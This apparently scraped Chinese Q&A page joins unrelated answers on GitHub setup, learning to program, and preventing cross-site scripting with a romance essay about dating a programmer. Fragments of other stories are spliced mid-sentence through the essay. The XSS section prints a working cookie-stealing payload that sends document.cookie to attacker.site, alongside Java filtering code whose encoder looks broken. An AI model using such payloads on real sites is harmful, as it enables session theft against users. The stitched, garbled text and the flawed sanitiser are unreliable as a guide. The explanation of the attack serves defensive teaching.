『壹』 如何在本地环境配置github
1、首先看你自己时候有账号,没有账号的话到https://github.com/注册Git账号。
『贰』 新手如何学习编程
熟悉以下关键东西,可以边学边做,定期训练,经常思考,长期积累:
1、语法。
2、基础理论(数学、数据结构、算法等)。
3、设计方法(编程原则、设计模式、框架设计等)。
4、库(核心、基础、UI、扩展、游戏引擎等)。
6、领域知识(游戏设计、网站设计等)。
7、开发工具(编辑器、IDE、自动部署等)。
8、项目管理(进度管理、分工协作、Bug管理、版本控制等)。
最普遍也是最重要的能力:创造力。努力分析并理解好做什么以及怎么做。要知道上面那些东西一开始都是不存在的。
具体方法包括:
1、快速阅读入门教程和书籍,适合学习语言和基础库。比如我学java读的《Java编程思想》,练习题做过一点,然后学ActionScript就没读过书,只读过Adobe官方文档《ActionScript 3.0编程》。
2、阅读库的文档、实例、源码。比如Flash、Flex开发,熟悉官方API很重要,很多细节要具体使用时才注意到,这时候最好做个笔记,虽然我从没看过我的笔记。
3、做一个自己感兴趣或熟悉的小项目,比如我就以黑白棋游戏作为多个语言的试水项目,一样的逻辑,便于把关注点放在语言特点上。
4、自己动手丰衣足食。厨师有菜谱,程序员可没菜谱。比如我做游戏,最关键的游戏编程知识全部是动手学出来的,很少有专门针对某个业务领域(如游戏)的编程书籍,要么是入门书,要么是模式书(如算法)、理论书(图形学),很少有书籍教你如何开发一个45度角地图系统加编辑器的,全靠自己思考,以及看前人的代码,需要时找些网络资料。关键是,可以培养最重要的创造力。
对于算法和设计模式,可以研读下,但是关键还是靠平时如何使用了。新手勉强不来的。
项目管理方面的,就得靠工作经验了,多思考多提意见不要只走流程。
『叁』 如何防止跨站点脚本攻击
防止跨站点脚本攻击的解决方法:
1.输入过滤
对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安装三方的应用防火墙,可以拦截css攻击。
附:
跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。
跨站脚本包含三个部分:攻击者,客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。
『肆』 我叫叫曲臭臭
刘飞 写了个故事,叫 “ 你们到底打过炮没有? ”因为这句话,陶晓宁几乎恨了许小年。她梗着脖子硬撑:“我又没等什么?”呵呵,他竟然把我跟他的故事写成了故事!!!!!!!!!!!!!!!!!!
我第一次成了别人的故事素材!!!!!!!!!
让我来撕开真相吧。
其实,老张并不叫老张,老张就是刘飞,刘飞也是老张,刘飞其实也不叫刘飞。
安瑜也不叫安瑜,爸妈没给我那么文艺的名字,我只好自我拯救,起了个江湖艺名叫曲臭臭。
<<<
事情是这样的――
单身太久了,一朋友说,“给你介绍个对象吧,算你半个老乡,靠谱。”
没想到还有人惦记着我的终身大事,我很感动,手抖在微信上发了好几行流口水的表情。
“但他是个程序猿。”朋友说。
“……滚。”
我还没到饥不择食找程序猿的程度吧。刚准备扔手机关灯睡觉,朋友发了他三张照片。
阅毕,我决定见他一面。
<<<
因为他颜值太高,是程序猿里的战斗猿?想多了。
第一张,他在毕业晚会上说相声。一席儒雅长衫下,露出了阿迪王运动鞋。
第二张,格子衫,黑框眼镜,大经理说:“真没看出来,你小子平时闷闷的,还有这一手。”平头,眯着色狼眼,站在公司 logo 下,面色苍白。
第三张,一张大饼脸占满镜头的 98%,五官像被人搓麻将那样蹂躏了一圈。
――但我擅长脑补。我发现这是一只潜力猿,如果能被拾掇一下,还是很像样的刚才,她收到郝大奇给她发来的一条手机短信。看了手机的短信,她一下子懵了,有点不知所措。这是她第一次收到郝大奇给她发短信,她不明白郝大奇是怎么知道她手机号码的。她感到很突然。。虽谈不成恋人,至少由于对彼此都有不错的第一印象,十几天后,王佳宁与徐君共同参加了一次聚会。席间,一位挚友看到王佳宁的目光不离徐君左右,便拉住他俩,有意撮合着对王佳宁说:“你家的房子大,房间又多,平时又没有人收拾,你看徐君是个初来乍到的‘北漂’,干脆租一间给她,少收些房租,没事她还能帮你拾掇拾掇!”做个朋友,拉他一把,帮他提升一点审美情趣,早日体验人生真正的幸福快乐。
嗷嗷待哺的程序猿千千万,我不能普度众生,但能救一个是一个。
我开始了十九年人生里的第一次相亲。
<<<
约在五角场西堤牛排,他吃肉我喝汤。
聊下来,我发现他没我想象中的那么“程序猿”。
他以前在锤子工作,我刚好前几天采访一朋友,得知老罗不少八卦。于是两人相谈甚欢。
他在某美甲 O2O 创业,我刚好在做 O2O 的稿子,一起感叹这大好的创业时代。于是两人又相谈甚欢。
他在我的家乡念大学,提到一家撸串的好去处,那里刚好也有我不少青春回忆。于是两人又又相谈甚欢。
他说相声的视频很好笑,他拍的照片很有水准,他的黑色风衣还蛮有型,发蜡的薄荷香很好闻,右手还戴着一枚骚气的尾戒。(当然,看了他文章我才知道,出门之前他左手抠脚,右手啃黄瓜,完事双手往衣服上蹭。)
人的魅力之处,就在于撕下刻板标签后的两重对比。作为一枚程序猿,竟然文艺得如此嚣张。
吃完饭,我站在薄荷味的风里,看着淞沪路上随列车一闪而过的灯光,酝酿出一个恰到好处的微笑,对他说,“今天跟你吃饭好开心。”
话说到这份上,他牵我一下手表示一下总是可以的吧,结果――
他说,“那我再给你讲个笑十年修得同船渡,百年修得共枕眠。除非少数那种真的没找对人结了婚还各怀鬼胎的,否则哪家两口子不是心意从谈恋爱到结婚过日子走到起的,谁想放着好好的日子不过非要过那不好的日子非要闹得鸡飞狗跳啊?可是现实生活中还真就有两人结婚前特别相爱,恨不得为对方把命都献上,可结婚就完了,走进“坟墓”了,日子还真就过得鸡飞狗跳的。为什么?我觉得多半是两个人没有互相懂得。话,让你更开心。”
“……好。”
“是这样的。我不做程序猿很久了,之前还在锤子做产品经理。其实那不是真正的经理,但是在银行办信用卡的时候,因为有“经理”这两个字,额度又给长了好多。哈哈哈哈哈哈哈哈哈哈哈哈……”
……
好,笑,吗?
<<<
第二天早上,他给我发了个 “Hi”。
到晚上,微信聊到一千多条时,他问,“今天要见面吗?”
我说“好”。
奇迹是在不知不觉中发生的。我们竟然连续见面了十几天。我是那么喜新厌旧追求新鲜感的人,十多天竟对他没有一丝厌倦。
朗朗晴天突遇洪水,就索性做一回猛兽。
<<<
那时已"不是那个意思,我是说我也说不清楚!"经期末,我被线性代数搞得焦头烂额。
每天晚上,我在学校等他从静安寺打车过来,然后他骑我的女士自行车载着我,去大学路的猫空学线代。他说自己宝刀未老,欢迎求助。我性子倔,皱着眉头翻书,咬着笔杆不肯请教他。
他坐在我对面,把双肩包里的 iPhone、iPad 和 MacBook 都摆在桌子上码放整齐,默默掏出一本纸质书来看。(……)
时间静静过去,线代书越翻越薄,他在我心里留下的脚印越来越多。
我不是观音,更不是佛。说是要渡化程序猿,却被他拉进了同一条阴沟,浑身泥巴越滚越多。
――
他说要教我用 Markdown 写文章,得意地告诉我,“一定把你培养成最会写代码的作家”。虽然不知道作家会写代码有什么用,但后来我的世界里,的确充满了 “#” 这个奇怪的符号。
我想换个电脑,他眼睛放光,用生命跟我推销 MacBook Air,说“这是全世界最适合你们文字工作者的电脑”。我点点头说,“那记得帮我装个 Windows 系统。”他浑身颤抖如丧考妣。后来,我成了 OS X 系统的死粉。
总之后来我数钱包里有几个钢G的时候总是从 0 开始数。
跟别人见面握手要握三次。
<<<
在我拿着线代书准备出门跟他见面第十七次的时候,我室友抱怨说,“你最近恋爱谈得太凶了吧,晚上都不见你人。”
“什么?我没谈恋爱啊!”我下意识反驳。
“这还不是谈恋爱?那你天天晚上是出去坐台吗?”室友说。
我被一语惊醒。
这些天,每天上百条微信,晚上见面几个小时。我跟这枚程序猿,到底在做什么呢?
<<<
每晚坐在自行车后座上,我大声哼歌,双腿乱晃,觉得身披万丈霞光。但手始终在尴尬地僵持着,不曾挽过他的腰。
他每晚送我到公寓门口,然后掏出手机滴车回静安寺。等车的时间,我们沉默,闲聊,四目相对,隔一江春水。直到我目送他上车,挥手再见。
我在等。
坐在自行车上等他说“你可以抱住我”而不是“你又胖了”,说冷时等他来牵我的手而不是“我要送你一副我的同款手套”,夜晚分别时等他给我一个拥抱而不是总结发言“你今天线代学得真好”。
可是,等一个闷骚程序猿的告白,比掰直一个 Gay 还要难吧。
但是,我真的喜欢他吗?我不知道。
难道我只想做个玩家,在他这里打通关而已?我也不知道。
<<<
喜欢一个人,看他一眼,就能在脑海中和他过完一生。我也想过,如果跟他在一起,未来会是什么样子。
至少很快乐。
他用老张的口气说,“很多方面我们都很契合,什么都坦白说、明着说,从来不端着、不装腔作势。”
我好久没有遇到像他这么默契的伙伴了。他懂我的文章,懂我藏着的那点操蛋的理想,懂我在世俗世界埋下的一毫米奢望。
说白了,他是枚闷骚而有情怀的程序猿。
如果遇上的是五年后的他,我一定会彻底爱上他。
但现在,顺其自然吧。
<<<
而顺其自然的结果是,我越来越忙。考试,采访,写书,时间越来越少。他在微信上写给我的段子,我只能隔半天回一下“哈哈哈哈哈”,他问什么时候能再见面,我只能草草发个微笑的表情。
就这么淡了。
直到那天,我考完线代,昏你们对视下就脸红心跳,牵牵手手心全是汗。你们之间的感情,不会在经历了柴米油盐酱醋茶的蹂躏之后,变得索然无味才结束。可惜,他最终只留在你的记忆里。昏沉沉从考场出来,看到他用锤子便签发给我的几千字留言。
文笔好美,美得让我忘记了言语中的悲伤和无奈,只想一读再读。
像他在那篇《程序猿老张》里写,“这次跟她一起相处的这段时间,就是我浏览她的代码的时间。我仔细阅读了每条代码和它们的注释,最后发现,她在我这里是跑不通的。”
最后他告诉我,只能离开。
――这枚程序猿啊,他什么都没说,却悄然在心中走过千山万壑。他不动声色地浏览代码,阅读注释,不动声色地交集百感,最后,只丢给我一个答案。
<<<
“我们还是朋友,对吧?”我小心翼翼地问他。
“当然。”他说,“但再也做不成亲密的朋友了。”
“那,如果我线代挂了,你还愿意教我吗?”
“当然。”
聊天记录就定格在这里。
直到成绩出来,我线代真的挂了。补考前一个晚上,把搞不懂的题目啪啪啪用微信传他。
半小时后,他传来一堆图给我。行列式、各虽然第次练摊狼狈不堪,但最终,她选择了坚持。自小,她与开鞋店的母亲相依为命,如今母亲病了,店铺关了,她能赖以为生的资本,只剩下那些库存的样式老的鞋子。种松山死于松山――前一个松山是人名,后一个松山是地名。松山死时,怀里揣着3封信和1张黑白照片。56年后,松山的遗物抵达李阿秀的手上。李阿秀捧着共有9个弹孔,布满发黑的斑斑血迹的遗物,没泪,只反反复复说:“看到这些,我就看到了松山,我就回到了昨天。”乱七八糟的符号用绘图软件画得一丝不苟。
“我用一晚上重新把同济教材看了一遍,不时涌出一种“ *** 我到底在干什么”的想法,但毕竟答应你画里的她是带着明媚欢颜的,他为她隐去了那滴眼泪,他想用这幅画告诉她,她笑起来会更美。了,就要做到。”他说。
“那,等我考过了,请你吃饭?”我有点感动,更有点想念他。
“我回北京了。”
……
他悄然离开了我的五角场,回到他的宇宙中心五道口。
<<<
我们好像没谈过恋这次,韩茵看到罗涛情绪不稳定,就暂时放弃了打工的念头,每天在家陪着他。半个月以后,罗涛的情绪渐渐稳定下来,让韩茵给自己买了副墨镜,说要出去挣钱。韩茵看到罗涛有这个想法,心里很高兴。王小慧的心狂跳了起来。看来,玉舟对她也是有心的,也许,他是知道自己遇到了喜欢的人。想到这,王小慧的心反倒渐渐安静了洋子明白了他们夫妻生活越来越糟糕的真正原因,她以为他工作压力大。洋子终于明白了他很晚回家的根本缘故,她总以为他的应酬多……而一切,她终于懂了姐妹们提醒她的话――不叫的狗也伤人,而且伤得很深。下来。好像,所有的事情并不是因为她的存在而发生,只是水到渠成而已。爱,但他在我心里,撒下了最美的一场雪。
但遗憾的是,他并没有给我写过诗。
依然谢谢你,老张。哦不,刘飞。
考研逃犯古代玄武门秦王春秋司马相如卓文君韩信经典